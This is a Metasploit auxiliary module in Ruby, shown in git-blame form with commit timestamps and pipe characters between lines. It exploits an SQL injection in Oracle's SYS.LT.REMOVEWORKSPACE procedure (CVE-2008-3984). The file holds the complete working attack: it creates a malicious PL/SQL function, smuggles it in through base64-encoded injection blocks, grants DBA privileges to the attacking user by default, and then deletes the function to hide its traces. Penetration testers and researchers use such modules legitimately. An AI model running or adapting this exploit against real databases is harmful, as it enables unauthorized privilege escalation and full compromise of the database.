2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::ORACLE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-11-24 06:10:13 +00:00
|
|
|
'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',
|
2009-07-28 13:43:37 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an sql injection flaw in the REMOVEWORKSPACE
|
|
|
|
procedure of the PL/SQL package SYS.LT. Any user with execute
|
|
|
|
privilege on the vulnerable package can exploit this vulnerability.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-10-04 23:38:06 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-07-28 13:43:37 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-3984' ],
|
2010-05-12 15:44:06 +00:00
|
|
|
[ 'OSVDB', '49326'],
|
2009-07-28 13:43:37 +00:00
|
|
|
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
|
|
|
|
|
|
|
|
],
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Oct 13 2008'))
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
2009-07-28 13:43:37 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
|
2009-07-28 13:43:37 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2010-03-24 19:02:38 +00:00
|
|
|
return if not check_dependencies
|
|
|
|
|
2009-07-28 13:43:37 +00:00
|
|
|
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
cruft = Rex::Text.rand_text_alpha_upper(1)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-28 13:43:37 +00:00
|
|
|
function = "
|
2010-04-30 08:40:19 +00:00
|
|
|
CREATE OR REPLACE FUNCTION #{cruft}
|
2009-07-28 13:43:37 +00:00
|
|
|
RETURN VARCHAR2 AUTHID CURRENT_USER
|
|
|
|
AS
|
|
|
|
PRAGMA AUTONOMOUS_TRANSACTION;
|
|
|
|
BEGIN
|
|
|
|
EXECUTE IMMEDIATE '#{datastore['SQL']}';
|
|
|
|
COMMIT;
|
|
|
|
RETURN '#{cruft}';
|
|
|
|
END;"
|
|
|
|
|
|
|
|
package1 = %Q|
|
2010-04-30 08:40:19 +00:00
|
|
|
BEGIN
|
|
|
|
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
|
2009-07-28 13:43:37 +00:00
|
|
|
END;
|
|
|
|
|
|
|
|
|
|
|
|
|
package2 = %Q|
|
2010-04-30 08:40:19 +00:00
|
|
|
BEGIN
|
|
|
|
SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
|
2009-07-28 13:43:37 +00:00
|
|
|
END;
|
|
|
|
|
|
|
|
|
|
|
|
|
uno = Rex::Text.encode_base64(function)
|
|
|
|
dos = Rex::Text.encode_base64(package1)
|
|
|
|
tres = Rex::Text.encode_base64(package2)
|
|
|
|
|
|
|
|
sql = %Q|
|
|
|
|
DECLARE
|
|
|
|
#{rand1} VARCHAR2(32767);
|
|
|
|
#{rand2} VARCHAR2(32767);
|
|
|
|
#{rand3} VARCHAR2(32767);
|
|
|
|
BEGIN
|
|
|
|
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
|
|
|
|
EXECUTE IMMEDIATE #{rand1};
|
|
|
|
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
|
|
|
|
EXECUTE IMMEDIATE #{rand2};
|
|
|
|
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
|
|
|
|
EXECUTE IMMEDIATE #{rand3};
|
|
|
|
END;
|
|
|
|
|
|
|
|
|
|
|
|
|
clean = "DROP FUNCTION #{cruft}"
|
|
|
|
|
|
|
|
# Try first, if it's good.. keep doing the dance.
|
|
|
|
print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...")
|
|
|
|
begin
|
|
|
|
prepare_exec(sql)
|
|
|
|
rescue => e
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Removing function '#{cruft}'...")
|
|
|
|
prepare_exec(clean)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|